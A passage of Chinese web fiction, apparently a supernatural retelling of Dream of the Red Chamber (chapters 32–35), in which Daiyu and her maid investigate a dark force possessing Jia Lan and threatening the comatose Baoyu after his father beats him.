就是还有肯读书的，在这样的环境中，要么也被带坏了，要么自己退了学，另寻路子去了。
直到贾兰入了学。
贾兰人又上进，又好学，还聪明，一点就通，这样的好学生一直都是老师的最爱，连心气全无的贾代儒都不例外。
他难得提起劲认真花了五分力气去教导贾兰。
更让他惊喜的是，贾兰自己肯学也就罢了，还会督促宝玉。
别看宝玉不爱读书，成天国贼蠹禄地嚷嚷，但他的天分比贾兰还好许多。
顺利的话，再过个十年八年，贾家至少能再出两个举人，刻苦一些，也不是不能再现贾敬当年的辉煌。
京中八房贾家人都是靠宁荣二府吃饭的，两家好了，他们才能更好。
以前是没希望，现在好苗子在眼前，贾代儒渐渐升起了信心，毕竟他还有个大孙子在，以后还要靠两府
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过活。
有了信心的贾代儒怕贾兰和宝玉被其他学生带坏，重新捡起了规矩，人也严厉起来。不爱学混日子可以，但不能影响贾兰两个，上课就老老实实上课，想玩可以，回家去随便玩。
散漫惯了的学生哪里受得了管束，更不愿回家，学里是管他们吃的，回家就不能省着一顿饭了。
如此学生心里不由升起怨气。
贾代儒辈分大，又是管他们的，宝玉是荣国府的宝贝疙瘩，其他人不敢把怨气撒到两人身上，全冲着贾兰去了。
往常贾兰跟着宝玉一起上下学，其他人最多阴阳挖苦两句，贾兰也能忍，不跟他们计较，转头告到贾代儒那里。
结果就是其他人免不了被训斥两句。
不疼不痒，反而更激起怨愤。
积怨日久，便生事端，昨天又有人阴阳怪气，口不择言下竟还带上了贾珠和李纨。
“兰儿一时忍不住，跟他们骂了起来，后来不知怎么就打成一团了。宝玉护着兰儿去拉架，也不知叫谁砸了脑袋，流了一头血。”
黛玉心头一跳，忙问：“这不是他做了好事，怎么老爷还要打他？”
惜春下了床，道：“兰儿叫人打晕了，二哥哥淌着血一起让人送回来，正好让老爷撞见了。十来个小厮，半点事都说不清楚。也不晓得他们是怎么说，老爷是怎么听的，硬是给听成二哥哥在学里带头动手跟人打架连累了兰儿。”
“老爷怒火中烧，绑了二哥哥就要打板子，谁劝都不听。要不是还有机灵的，从外面传了话进来，二哥哥真叫老爷打死了。”
迎春道：“老太太赶过去的时候，宝玉已经被打晕了，他受了惊，伤了头，还挨了两顿打，背上肉都肿的老高，这会儿还没醒过来。”
“这、这......”黛玉张口结舌，说不出话来。
好一会儿她捂着胸口道：“老爷怎么下这么狠的手？”
拿首饰的人回来了，惜春晃着脚让司棋梳头，闻言扭头道：“这有什么？大哥哥打蓉儿还有打断棍子的时候呢！”
贾家父子之间的关系一惯都是如此，见面就是连骂带打。父视子如仇寇，子畏父如豺狼。
芙蓉全程听完，眸光一转，问：“请大夫瞧过了吗？宝二爷头上伤得很重？”
迎春：“请了，看过一回。”
至于头上的伤，迎春也不知道重不重，“宝玉到现在都没醒，应该是很重的吧。”
三人说着话，提膳的丫鬟拎着个木胎大漆雕花食盒回来摆了早饭。
迎春和惜春都怎么有胃口，草草吃完，撤了碟子，和黛玉一起去看宝玉。
到了宝玉房里，贾母、王夫人、王熙凤和李纨齐齐整整都在这儿。
32.第 32 章
王夫人坐在床边垂泪，李纨袖手站在床尾，低着头神色苍白，眼珠子都不动一下，直愣愣盯着脚边。
贾母靠坐在太师椅上，身后垫着厚厚的垫子撑着腰背，闭着眼任鸳鸯给她轻轻揉按额头。
丫鬟们都轻手轻脚地动作，肃穆无声。
黛玉三个进来时，只有王熙凤冲她们轻轻点了点头，往日巧舌如簧的人也不笑不说逗人开心了，安静得很。
黛玉往床上看了看，宝玉趴着，头上缠了一圈白布，脸朝着里边，背后盖着银红锁边缠枝纹的锦被，遮住了背后的伤口。
芙蓉轻轻点了点黛玉后背，趁黛玉回头，给她使了个眼色。
黛玉悄然跟着她退出来，“怎么了？”
“宝玉身上有跟贾兰一样的黑气。”
黛玉睁大眼睛，脱口道：“他那块通灵宝玉没用了？”
芙蓉无从得知，她只说自己看到的。
黛玉压低声音道：“宝玉昏迷不醒，是因为黑气也寄生到他身上了？”
“有可能。”芙蓉道。
以贾兰当初的情况推测，宝玉可能正处在被寄生的过程中。整个黑气的寄生过程大概要持续好几天，直到寄生完成，他才能彻底醒过来。
“这也太奇怪。”黛玉搅着帕子来回踱步，“‘兰儿’沾上那些黑气有好一段时间了，他几乎日日都跟宝玉在一起，很安分，要是想寄生宝玉早该动手了，怎么等到现在？再说了，为什么是宝玉？其他人没有通灵宝玉护身，不是更方便。”
就是因为它安分，好像执念就是读书一样，所以黛玉她们才放松了警惕。
“或许是才找到机会。”芙蓉道：“因为宝玉破了头，见了血，才有了空子可钻。”
“姑娘，”芙蓉微微弯腰，“现在不是想那东西为什么才动手的时候，要先救宝玉才是，绝不能让不知名的东西占了宝玉的身体。”
要是宝玉人都没了，那才是大麻烦，她们千里迢迢，白跑一回。
黛玉停下脚步，重重点头：“姐姐说的对。”
“但要怎么救呢？”
原地转着圈，她自问自答：“首先肯定要先弄清楚那些黑气到底是什么，才能想对应的办法将它们驱逐出宝玉的身体。”
“‘兰哥儿’肯定知道，但他一定不会说的，得想办法从他那里找线索，不能直接问，也不能在他面前露出异样，太打草惊蛇了，要找个人旁敲侧击。”
芙蓉静静听着，没插话。
黛玉想着该找谁套话，思来想去最好的人选就是大嫂子。她捏着拳头一锤掌心，对芙蓉道：“兰哥儿昨天也被打晕了，二姐姐没说他怎么样了，咱们问问大嫂子，也去探望探望他，观察一番，再跟大嫂子套话。”
芙蓉自然随她。
虽然定了一个不算计划的计划，但黛玉一直找不到时机开口跟李纨说话。
二太太明显因宝玉迁怒李纨，就让她站在宝玉屋子里，也不让坐，也不让走。
老太太似乎是累了，一直闭着眼，完全顾不上她。
黛玉不能在这个时候再提贾兰，否则就是给李纨的处境火上浇油。
“老太太，王太医来了。”
贾母睁开眼，“快请他进来。”
随后，黛玉看到琥珀领着那个含含糊糊，就会问上个大夫怎么说的太医进来。
王夫人抹着眼泪让开位置给王太医。
王太医揭开锦被，众人都看到了宝玉身上的伤，黛玉看着没有迎春说的那么严重，但是青青紫紫，也十分可怖。
王太医轻轻按了按伤口，许是觉得疼，宝玉手脚微微抽动了几下。
“宝玉！”王夫人扑到床头，连唤几声，不见应声，伏在床上嚎啕大哭，“我的儿！珠儿已经没了，我如今就剩你一个，你若是要走，就把我一起带走吧！”
贾母扶着鸳鸯的手，同样捶着胸口大哭：“那个孽障！不分青红皂白就下这样的手，他老子当年何曾这么打过他！我好好的宝玉，比他从前不知道乖巧多少，却让他白白受这份冤枉！”
王太医：原来是政公打的，没想到为官古板迂直的政公私底下是这样的人。好像知道了不得了的事。
不过他是常给勋贵人家看病的，知道什么该说，什么该烂在肚子里。
王熙凤忙给贾母捶背，“老祖宗、太太，你们先别哭，先让太医说说宝玉伤势如何。”
贾母和王夫人暂时收了哭声。
王太医恭敬道：“宝二爷背上都是皮肉伤，力道没吃进肉里，没伤到筋骨，待我开些药，老夫人再叫人使劲将伤处的淤血揉开，配合内服活血化瘀的药，慢慢养着就好。”
他叮嘱道：“揉开的时候定要用力气，否则淤血积淤，反倒让皮肉坏死了。”
像宝玉这样千娇百宠的公子哥，就怕他一嚷着疼，就没人敢下力气，反而坏事。
贾母含泪点头，“你再瞧瞧他头上的伤。”
白布解开，见到一个铜钱大的伤口，王太医：“......”
“这个也没有大碍，只注意着不碰水，伤口愈合期间吃的清淡一些，避免留疤就可以了。”
贾母：“那宝玉为何还不醒？”
王太医斟酌道：“脑部是人身上最复杂的地方，伤势可大可小。不过我已检查过了，宝二爷头上没有淤血，应该要
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不了多久就能醒。”
王熙凤道：“您听听，我就说宝兄弟是有造化的，还有老太太的福气庇佑，肯定没事。”
有了王太医的保证，贾母半放下心，拿了药就让力气大的婆子给宝玉揉背后和屁股上的伤。
黛玉和迎春惜春都避出来。
惜春用力吸了两口气，道：“三姐姐也不在这儿，该不是已经回去了，正好跟我们错过了？”
“太太叫她给宝玉抄经文祈福。”
幽幽的声音在三人背后响起，把黛玉三个吓了一跳。回头一看，就见李纨游魂一样跟在她们身后，见她们转头，僵硬地笑了笑，“这会儿探春还在太太那儿。”
事实上，探春是被拘在太太那儿抄经。
一听到宝玉大闹学堂，头破血流还昏迷不醒，赵姨娘没遮掩住自己的幸灾乐祸，私下说了几句闲话，说是宝玉最好醒不过来，她的环儿就能出头了。
太太正是着急上火的时候，听了这话哪里能忍，当下便叫了探春和贾环一起到她房里抄经祈福。贾环坐不住，趁王夫人不在跑了，探春实诚，老老实实抄经，生生熬了一夜。
她早上来的时候，还见太太正房里点着灯。
这些李纨不好跟黛玉几人说，只道：“你们要是找三丫头，就去太太那儿。”
说不定能把人喊出来。李纨抬眼望向天边的艳阳。
黛玉不知她的想法，拍了拍胸口，垫脚往她身后看了看，拉着李纨离门口远一些，轻声问：“大嫂子是要回去了？”
李纨道：“老太太说人多不安生，不必挤在这处，等宝玉醒了再来不迟。”
黛玉趁机道：“听说兰儿也挨了打，是昏迷着回来的，他人醒了吗？”
李纨人更僵硬了一些，道：“他运气好，没伤到头，回来不久就醒了。”
“宝玉这里既用不上我们，那我们一起去看看兰儿。”黛玉便提议，她半开玩笑道：“省的兰儿以为都没个人关心他。”
“不用！”李纨陡然提高了声音。她太急太仓惶，嗓子都劈了，眼珠不住颤动，有掩饰不住的惶恐。
“大嫂子？”惜春愣愣喊了一声，连她都看出李纨的不对劲了，“是不是兰儿出事了？”
迎春跟着道：“王太医应该还没出府，叫人追上去兴许还能拦住。”
“不必了，兰儿没事！”李纨断然拒绝，随后也不理会她们，匆匆离去。
“大嫂子好古怪。”惜春看着她的背影道。
迎春跟着点头，“她该是最关心兰儿才对。”
黛玉跟芙蓉对视一眼。
李纨刚刚的反应，摆明了她一定知道什么。
33.第 33 章
宝玉并没有如王太医所说一般很快醒来。
一日两日，他仍是昏睡着，水米不进。
出乎意料的是，他没有像贾兰当初那样因为不吃不喝而干瘪下来，整个人看起来还是水灵灵的，就跟睡着了一样。
黛玉每日都来探望，偶然就听见有人说宝二爷怕不是伤到了头，而是中邪了。许是让什么东西迷了心，失了魂所以才一睡不醒，说不定就快要不行了。
虽是嚼舌根子的猜测，却意外猜对了一半真实情况。
因为赤霞膏的事，贾母和王夫人已经把宝玉房里的丫鬟婆子们都审了一道，要揪出偷东西的下人，捆了撵出去，却因宝玉的情况而暂时搁置下来。
这更让宝玉房里伺候的人人心惶惶，流言都快遏制不住了。
三五日下去，宝玉这样反常的样子，贾母等人也终是察觉到了古怪之处，求医问药已是无用，便琢磨着是不是要找个大师来瞧一瞧。
宝玉的干娘马道婆被请到府中，香油钱花了不少，马道婆哼哼哈哈跳了一通大神，咒语符水轮番上阵，把宝玉折腾得手脚抽搐，人还是没醒。
马道婆来的时候，黛玉等人都在。
宝玉让马道婆指挥着人抬来抬去，掐着下巴灌符水，他咽不下去，符水淌到身上，把通灵宝玉也打湿了。
黛玉眼尖地看到那玉闪了闪，肉眼可见似乎又暗淡了一些，看上去灰蒙蒙的。
黛玉私下里跟芙蓉悄悄说：“那玉似乎还是有作用的，现下好像是蒙了尘，若是将它擦亮一些，不知于宝玉有没有益处。”
她尝试过找大嫂子试探贾兰的事，但大嫂子别的都好说话，只一提起兰哥儿，整个人就跟刺猬一样，浑身竖起尖刺，防备心十足，听不得半句就找借口赶人。
多问了两次，她兴许是察觉到了不对，还躲着自己，更是约束了下人不许他们多说半个字。
黛玉让何嬷嬷几人找碧月套话，连人都见不着。黛玉依稀听说大嫂子屋里有几个下人报了病被挪出去了，不知道其中有没有碧月。
至于贾兰本人，更是从学里打架回来那天起就不见人影。
因为府里都关心着宝玉的事，除了黛玉这里的人外，竟也没人注意他连着几天都没在人前露过面了。
李纨浑身跟扎嘴的刺猬一样无从下手，毫无进展之下，黛玉不得不又把目光放回到宝玉这里。
如今好不容易有些线索，也许不能完全解救宝玉，好歹也让他被寄生得慢些，拖延一点时间。
跟芙蓉悄声说了两句，黛玉趁着袭人、麝月一众丫鬟给宝玉擦身换衣的功夫，上前道：“我刚才瞧见玉上也沾了符水，也得擦一擦才好。”
袭人将玉摘下来，见玉上面还嵌玉的金锁缝里沾了水渍和灰蒙蒙的东西。
她心中有些奇怪，往日好像全然没有注意到玉上有些脏。
贾母见了，也不由生气，“你们一个个的！是不是见宝玉不好了，就懒了骨头，没人支使就不会动！前日里拿主子东西，现下连他贴身的东西都不管。”
“我道你是会尽心的，一心一意顾着主子，才做主给了宝玉，不成想你也是没眼睛没骨头的人！”
王熙凤不禁看了王夫人一眼。亲妈在这儿，不也没发现吗？
袭人脸色煞白。
赤霞膏是她没看好，宝玉房里有小偷却一直没有发现。明面上虽不是她管这一屋子，但都知道宝玉最亲近她，跟前样样都是她打点妥帖的，无错的时候是她尽了本分，其他人犯了错，便不是她的错，也是她失职之处。
之前老太太有不满，却没有当着许多人发作。
如今斥责她，一屋子人都听见了，她日后再难服众。
袭人脸上火辣辣的，只觉人人似乎都在看她。她也不敢抬头，伏首哭道：“老太太，是我照顾二爷不周，只求您让我再在这里留些日子。等二爷醒了，您要罚我或是撵出去都好。”
王熙凤转过眼，轻声劝道：“老祖宗，她是宝玉用惯了的，照顾着也顺手，不如先留着她。您今日说了她，想必她也是不敢再偷奸耍滑的，肯定事事尽心，用生不如用熟。”
贾母念起是她当时报信，让她及时赶着救下宝玉，便道：“也好，先留着你，要是再有错处，我必不轻饶！”
袭人叩首：“多谢老太太，多谢二奶奶。”
叩完头，她直起身，黛玉搡了她一下，抽出帕子，道：“你先顾着宝玉，这玉我给你擦擦。”
袭人回神，紧了紧手手指，复又松开，感激道：“劳烦姑娘了。”
黛玉道：“不过抬抬手的事，有什么烦不烦的。你放心，一定完璧归赵。”
袭人笑了笑。
顺了拿到玉，黛玉让了位置，不打扰丫鬟们动作，反身跟芙蓉头挨着头看通灵宝玉。
芙蓉指肚搓了两下，上面的水渍干净了，但玉灰蒙蒙的样子没变。
她小心翼翼探出一丝灵力，随后收回手，对黛玉摇了摇头。
“这玉排斥我。”
再多使一分力，就要小心触动警告了。
“这可怎么办？”黛玉不禁狠狠戳了戳通灵宝玉，“你说你怎么关键时刻就没用了呢！”
通灵宝玉上光芒一闪。
黛玉：“......”
芙蓉：“......”
这玉是讨骂不成？
随后黛玉一边数落它没用，一边用力擦着玉，不知道是哪方面起的作用，最后真让她擦亮堂了几分。
换好了衣服，玉重新挂在宝玉脖子上。
芙蓉点了点头，“有效果。”
不用她说，黛玉也知道有效果了——宝玉哼哼了两声，痛苦地呓语起来。
“不要......不是......”
“老爷......读书，读书！”
“我的宝玉！”贾母顿时哭道：“好好，不读了！你老子再逼你，我带你回金陵去，咱们不在这儿呆了。”
可惜宝玉只说了两句，又没了音儿，再也没有反应。
黛玉往他脖子上瞥，玉被塞进衣服了，看不到蒙尘与否，也没借口再骂两句，擦一擦。
宝玉闹的动静最后被归功于马道婆的符水有效。
贾母让人再去请马道婆。
马道婆正心虚呢，她会些压胜手段，只会诅咒，不会驱邪，完全是胡跳一通，骗些香油钱花花。
腿肚子哆嗦着上门，听到
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贾母一说，她立刻挺直了腰杆子，之前的流程再来一通。
给宝玉灌了一肚子符水，却没见半点效果。马道婆又心虚了，但她心理素质极强，半点不露，神叨叨胡念几句，忽悠宝玉身上的邪物太厉害，不是对手，自己跟它斗法损耗了精力，更无法压制，让他们另寻高人后脚底抹油溜了。
有了先前的“效果”，贾母和王夫人对她的说辞深信不疑，贾母当即就把贾政叫来。
贾政一进门，贾母便喝道：“你跪下！”
贾政听话跪倒。
贾母开口就是好一通骂，骂他当老子的心狠手毒，已经逼死了一个儿子，现在连另一个儿子都不放过，非要绝子绝孙才肯罢休。
又说自己是没福的人，一把年纪还要白发人送黑发人，享不到儿子的福，连含饴弄孙都做不到，不如也跟着一起去了。到那边，宝玉也没有老子，她做祖母就能好好护着他了。
一番话说得在场众人人人色变，王夫人、王熙凤都被戳到了痛处，暗暗落泪。
贾政闻言泣涕不止，连道：“母亲如此说，叫儿子也无颜苟活在世了。”
贾母擦着眼泪，“好，你若孝顺我，便听我的。”
贾政忙道：“请母亲说，儿子定当遵从。”
贾母便说了请大师的事。贾政听完，沉默不语。
贾母急道：“你怎么说？”
“儿子、儿子......”贾政不肯按贾母的主意行事，他道：“子不语怪力乱神，大夫说孽、宝玉乃是头部受创，是木僵之症，从何处能扯上鬼神之说。贸然去请什么大师，招来骗子不说，叫旁人见了，定然流言四起，咱们家的人要如何自处？依儿子看，那个马道婆也不过是误打误撞。”
“这些三姑六婆，最会搬弄是非。”
王夫人几乎哆嗦起来，说来说去，不过是为了他的脸面，为了他的面子，宝玉就是死了也活该！
王夫人恨得牙都痒痒，恨不得扑上去咬他几口。
贾母气急，提起拐杖就要打他：“叫你说，我也是老糊涂了，只会听信谗言，黑白不分是不是？”
贾政也不敢躲，硬是挨了几下。王夫人眼睁睁看着他被敲得咚咚响，这才跟在众人身后替他求情。
贾母年老力衰，也打不动了，索性丢了拐杖，指着贾政道：“今日你既不愿意管他，那就彻底丢开手罢，只当你没生他。倘是他好了，你也再不许摆你老子的款，不许再动他一根手指头。”
说罢也不再看他，对王熙凤道：“你把琏儿叫来，说我有事找他。”
王熙凤道：“二爷这些日子都在外面给宝兄弟找大夫，大早上就出门了，这会子还没回来。”
贾母捶着床，恨声道：“听听，宝玉的兄弟都比他亲老子尽心！”
看贾政还跪在地上，贾母眼一撇，讽道：“还不快叫人把二老爷扶起来。”
“你也别在这儿杵着了，反正宝玉从今往后也跟你没关系了，再不用来了。”
“母亲......”贾政从地上起来，满脸羞愧，支吾道：“母亲真要为宝玉消灾解难，不如叫敬大哥回来问一问。敬大哥修仙问道这些年，问问他比随意出去乱撞碰到骗子要好许多。”
34.第 34 章
贾母沉思不语。
贾政的提议虽是推脱之言，却也还算中肯，但她不放心贾敬这个人。别人不知道，她还能不清楚。贾敬当年出家修道，一是他性情不够圆滑，一味埋头读书科举，人情世故上一点不通，根本适应不了官场。
就跟她的小儿子一样，都是死脑筋的人，领着官职只能坐冷板凳，年年考核升官都轮不上。
不过说起来工部的官职也难升就是了。
被贾母横了一眼的贾政莫名奇妙，不知老太太是什么意思。
贾母也懒得跟她解释，兀自想着事。
贾敬出家的另一个则是为了避祸。
既是避祸，自然是老老实实缩着才行，再胡乱结交旁人，建立人脉关系，在天家眼里，就是嫌脖子太硬。
如此一来，说他知道什么有本事的大师，贾母是不太信的。
见老太太半天不说话，贾政踌躇，还想再劝一劝。
贾母摆手，制止了他，道：“你说的也有理，是我思虑不周。碰见骗子是小，无非就是舍些香火钱，咱们家也不在意这个，但叫他们胡乱折腾一通，再伤着宝玉是大。”
王夫人有些急了，“老太太......”
贾政的声音盖过她：“我这就让人去东府找珍哥儿来。”
贾母歪靠着，额头抽痛，实在不想理没出息的小儿子。
都是当爷爷的人了，遇事还是只知道往外推。既然知道丢脸，怎的不自己亲自去，少个人知道，就少一分泄露消息的风险的道理都不懂吗？再者，珍哥儿去指不定让他老子赶出来，他亲自去，无论如何敬哥儿是要给他面子，肯定是能见到人的。
鸳鸯轻轻帮贾母揉着穴道。
贾母叹息一声，儿子媳妇加在一起，都没有这一个人贴心。
贾政不知道自己又说错了什么话，老太太没发话，他走也不是，留也不是。
贾母道：“你准备叫珍哥儿怎么跟他父亲说？”
“这......”贾政迟疑：“不是实话实说吗？”
贾母恨铁不成刚，“宝玉在学里被打伤的事，到今天都还没有个说法吗？”
已经暗示到这份上了，贾政依然没听懂贾母的潜台词。
贾母......贾母彻底无奈，也不跟他绕弯子，道：“你让珍哥儿把他老子叫回来，不说请大师的事，只跟他说，现在家学实在不像样，从来没有书念得好还有错，还要被人打的。他是出家了，但还是贾家的族长，族长的职责就该担着，你让珍哥儿问问他，家学是关乎贾家未来的大事，他还管不管了？”
贾政喏喏称是。
贾母没好气地赶他：“知道还不快去！”
贾政瘸着腿走了。贾母又叫王熙凤，“琏儿回来之后，你让他明儿去一趟清虚观找张道长，问问他可知道什么厉害的师父。”
吩咐完王熙凤，贾母又敲打了宝玉房里的丫鬟们几句才离开。
都散了个干净，袭人拧了帕子，蜷腿跪坐着替宝玉擦干净额头上的冷汗，又把他脖子上挂着的玉拿出来。
“啊！”麝月惊呼一声。
袭人一惊，连忙将玉捂住塞进衣服里。刚掩好衣襟，晴雯撩了帐子进来，放下刚打的干净水，低声问麝月：“你鬼叫什么？叫太太听见了又是咱们的不是。”
麝月捂住嘴。
她探头往床上看，“宝玉又有不好了？”
袭人下了床，里外转了一圈回来：“太太走了？”
晴雯往右边指了指：“没呢！太太头疼，到旁边歇一歇。”
袭人看了麝月一眼，麝月放下手，道：“二爷那天从学里带回来的东西还没收拾，这几日乱糟糟都给忘了，幸而没让老太太、太太看见，我去整一整。”
“做什么神神叨叨的？你们都瞒着我什么？”晴雯不满。
袭人拉着她道：“没想瞒你。”
“你看这个。”她拉开宝玉前襟。
晴雯瞪圆了眼睛。
“怎么变成这样？林姑娘不是擦过吗？”晴雯说着打了个寒噤：“宝玉真的中邪了？”
她对这事还是将信将疑的。因为宝玉完全没有想象中中邪的人那样疯疯癫癫，要咬人杀人的样子。她还是觉得宝玉是病了。
袭人把玉解下来。先前黛玉擦完，恢复几分光彩的玉如今暗淡无光，仔细看去，玉里似乎还有一缕一缕的絮状物，跟寻常街边摊子上一二两银子就能买到玉没什么两样，品质跟袭人头上的豆绿簪子差不多，个头还要小上许多。
袭人走到盥洗架子边，捧着玉沉进水里，用力揉搓了几遍，再捞起来时，玉还是那个样子。
晴雯凑过来。
“洗不干净。”袭人擦干水迹，低声道。
“那怎么办？”
袭人回头看了眼宝玉，道：“这玉是有来历的，恐怕是他护身的东西，这样子像是沾了邪气。”
她打了个哆嗦，强自镇定道：“我虽然不懂，但这玉好一些，宝玉看着就好一些。我去找林姑娘，你守着宝玉。”
晴雯拦住她，“你不能走！”
“你忘了老太太是怎么说的？太太还在旁边，随时都会过来，见你不在，这里你就真不能呆了。”
“玉给我，我去。”
袭人不愿：“你不也跟我一样。”
“太太又没记住我这个人，就算问起，我也能找个借口混过去。”
麝月用帕子包着一本书过来，露出的一角黑黑红红，像是沾了脏东西。她随手把书放到一边，分开拉扯的两人，道：“你们小声些。”
“二爷护身的玉让你们拿走了，万一他全靠这玉压着才没出事，离了它出了变故，不是更糟？”
袭人和晴雯顿时噤声。<
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晴雯道：“我去请林姑娘过来！”
也不等袭人和麝月再说话，她扭身快步出了屋子。
隔壁彩霞出来提热水，看到晴雯离开的背影，想了想，没作声。
-*
从宝玉这儿离开后，黛玉没回听松园，她想再去找大嫂子探探情况。
“你被安排到大奶奶屋里了？”
“可不是，说是人都挪出去了，伺候的人不够，要补上。你说晦不晦气！”
“这么好的地方你都嫌弃，还想去宝二爷那儿不成？宝二爷怎么说来着，都是死鱼眼珠子，还嫌你呢~”
“你觉着好，我让给你！”
嘲笑的人不吭声了。
过了一会儿又有人道：“大奶奶屋里出去了好几个，不是有什么病吧？”
“谁知道，没见传染给其他人。”
说话声越来越远，直至消失。
黛玉从后头慢慢走过来。
那两个婆子说话也不避人，她没刻意偷听，只是她从拐角过来，两个婆子没看到她这边而已。
“姑娘。”芙蓉在她身后提醒，“兰哥儿过来了。”
黛玉抬头，就见贾兰远远迎面走来。他独自一人，身边也没跟着丫鬟。
“林姑姑。”到了近前，贾兰端端正正拱手见礼。
面对面站着，贾兰比黛玉稍矮半个头，但他站得直，下巴微收，眼睛直视前方，没有为了找人而仰头，倒像是和黛玉一般高。
“好些日子没看见你了。”黛玉歪头看他，道：“大嫂子不让人去看你，你跟宝玉一起都打了架，受伤了没有？”
贾兰笑笑，漆黑的瞳孔深不见底，照不见一丝影子，道：“我听母亲说了，谢林姑姑关心，我没事。”
“你这是要去哪儿？”
贾兰垂着的手握在一起，眼皮耷拉下来，道：“去看望宝叔叔。他是受我连累才卧床不起，我该去看他的。”
也许是知道贾兰有问题，先入为主，黛玉总觉得他很奇怪。无论是举止还是说话，都带着一股腐朽味道。
黛玉不知道该怎么形容那种感觉，她唯一闻到过的，跟这种味道最接近的，是家里的一颗枯树被挖出来的时候。
那颗树生了虫，救不活，树冠都半枯了。管家找了人把它挖出来，结果发现它扎在土中的根特别大，特别长。
它拼命往下扎，缠在别的草木根须上。
管花草的人说，那是它知道自己要枯死了，想从别的地方汲取水分，掠夺别的草木的生命供养自己。
但它其实不需要那么多水分和养分，树根吸收的水分和养分送不到枝冠上，它吸得太多，所以它的根烂掉了。
被泡烂的树根散发着一股潮湿的、带着土腥气的霉味，有些淡淡的甜味，还有些呛。
黛玉捂住口鼻，贾兰瞳孔微斜。
35.第 35 章
“林姑姑......”贾兰微笑。
“林姑娘！”
三人同时回头。实际上贾兰站着没动，他正面对着晴雯的方向。
晴雯急急赶来，见到贾兰，又面带犹豫。
“林姑娘，我想求你帮个忙，是跟二爷有关。”踌躇了几秒，晴雯还是直言，怕黛玉不同意，她还抬出了宝玉的名号。
黛玉几乎立刻就猜出了晴雯求的事跟通灵宝玉有关，没多想便同意了。晴雯一喜，拉着黛玉就走。
贾兰慢悠悠缀在黛玉三人后面，不远不近跟着，前面的人似乎根本没注意到他跟上来了。
原来一直都是这样的，他闲闲想着。
长子嫡孙，在贾家从来都不是最尊贵的。他们的地位如何，全凭老太太的喜爱程度。
从前他占着长子的名分，倒是没有发现过老太太是个偏心人。如今成了嫡孙，却是享受了一把被忽视的待遇。大约只比环儿好一些。
贾兰低头踩着青石板的缝隙，地上的影子圆圆缩成一团，团在他身前。前面的人影子拉得老长，斜斜的，像怪异的树枝。
真是奇怪，换了个身份，他好像就看到了许多以前不曾察觉的事。贾兰暗哧了一声，也不对，或许不是没有察觉，大概是因为从前的他是获利的那一方，所以理所当然忽视了府里不对劲的地方。
一脚踩在影子上，地上的影子似乎颤了颤，圆润的线条抖出了几不可察的波浪线。
尖细的，好似幼童的尖叫声从影子中传来，谁也没有听见。
能活着，谁有愿意再次死去呢？
躺在病床上痛苦无力，一点点感受着自己虚弱下去，从不能吃，到不能喝，饥饿和干渴从胃部灼烧到喉咙，还要听着无处不在的哀泣声，像是在催他的命一样。
老子说，生死之间有大恐怖。经历过一次，他不想再感受第二次。
他要活着，贾兰微笑着抬头，对上一双洞若观火的眼睛。
又是她，上次这个丫鬟也是这么看他。贾兰心下皱眉，面上依然笑着颔首。
芙蓉从他脸上滑过，在他脚边的影子上溜了一圈，自然地收回视线。
院中，晴雯蹑手蹑脚地往耳房探了探头，里面静悄悄的，太太应该还没醒，她松了口气。
下人们不敢触老太太、太太霉头，这几日很老实，都不在外头闲晃，正方便了他们。
“林姑娘，你跟着我。”朝黛玉招了招手，晴雯弓着身在前面引路。
黛玉虽不理解她做贼一样的动作，但还是跟着放轻了脚步。
经过耳房，过了正房再到里间，没有惊动任何人，晴雯不禁松了口气。
“好了，终于进来了。”一转头，看到后面缀着的尾巴，晴雯诧异道：“小爷，你怎么跟来了？”
“我本来就是要来看宝叔叔的。”明晃晃的忽视，贾兰也不生气，温和地回道。
“可是我们没功夫招待你。”
贾兰：“......”
他深深看了晴雯一眼，晴雯浑身一寒，瑟缩了一下，突然有些害怕。
但兰哥儿有什么可怕的，忽视掉突如其来的恐惧，晴雯挺了挺身道：“二爷这里有正事，小爷还是——”
“晴雯。”袭人从里面出来，制止了她，请贾兰和黛玉进去。
“我们二爷一直这样躺着，也不能说话，叫哥儿白来一趟了。”
袭人一边给晴雯打圆场，贾兰一边打量宝玉，晴雯则在他右侧，一眼一眼瞥他，眼中还藏着一些不服气。
贾兰手缩在袖子里，半晌，抬手摸了摸额头相同的位置，问：“宝叔叔头上的伤口好了吗？那天他流了好多血，好像伤得很重，不知道会不会留下疤。”
袭人道：“亏得有林姑娘给的好药，只留下了一个小伤口，已经结了痂。”
“哦。”贾兰应了一声，再次沉吟不语。
他打量宝玉的眼神，像是在评估着什么。黛玉直觉地感受到一股微妙的凶意。
这时麝月捧了茶进来，请贾兰和黛玉喝茶。
黛玉摆了摆手，贾兰也摇头，若有所思道：“我一会儿就走，不留着喝茶了。”
晴雯撇嘴，袭人扯了她一把，推她到铜盆边，“你无事就再打一盆水来给二爷擦擦手脚。”
不情不愿抱着盆，晴雯摔了帘子出去。
袭人暗自叹气。
“宝叔叔的书本放在哪里了？”贾兰拒了茶，问起另一件事。
“那日学里混乱，我丢了一本手抄本，也不知是谁捡走了，想着来宝叔叔这里看看，有没有混在他的书里被带回来。”
麝月放下茶盘，道：“刚还整理过二爷的东西，都放在一起了，我也不认得哪个是小爷的东西，得您自己看看。”
贾兰点头，麝月一边引着他往一边书桌上去，一边回头给袭人使眼色。
袭人微微点头，等看不见人，将藏在身上的通灵宝玉托到黛玉面前。
“林姑娘，这玉又脏了，我怎么擦洗都擦不干净，只能请您来瞧瞧。”
“这是他的那块玉？！”黛玉惊道。
袭人苦笑：“若不是我亲自解下来的，我也不信。”任谁也想不到会这样，要是再报到太太们跟前，又是一桩偷盗案。
黛玉接过玉，沾上水擦了擦，通灵宝玉丝毫没有变化。她抿唇，小声道：“你怎么这么没用？”
袭人：“？”
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骂完再擦一擦，玉还是那样。
面对袭人疑惑地眼神，黛玉羞红了脸。先前人多，吵吵嚷嚷的，她“骂”通灵宝玉的话根本没第三个人听见。
“我也没法子。”黛玉把玉塞回去，猜测：“许是符水的作用。”
袭人捧着玉，像捧着个烫手山芋，急得不知如何是好，“符水，符水都让二爷喝了，总不能让他再吐出来！”
黛玉顺着她的话一想，被恶心到了。
“我的书不在这里。”贾兰的话传进来，打断了黛玉的联想。
“宝叔叔的东西真的都在这儿吗？”
随后麝月的声音响起来，“还有一本书上面沾了许多污渍，我拿出来了。”
“没关系。那书是父亲留下的，上面还有他曾经做的注，就算污损了，也要留着做个念想。”
麝月拨开帘子，在床前三人身上扫过，落在袭人身上，目露疑惑。袭人冲她摇头，麝月面露失望，又立刻掩去，伸手去拿花几上的书。
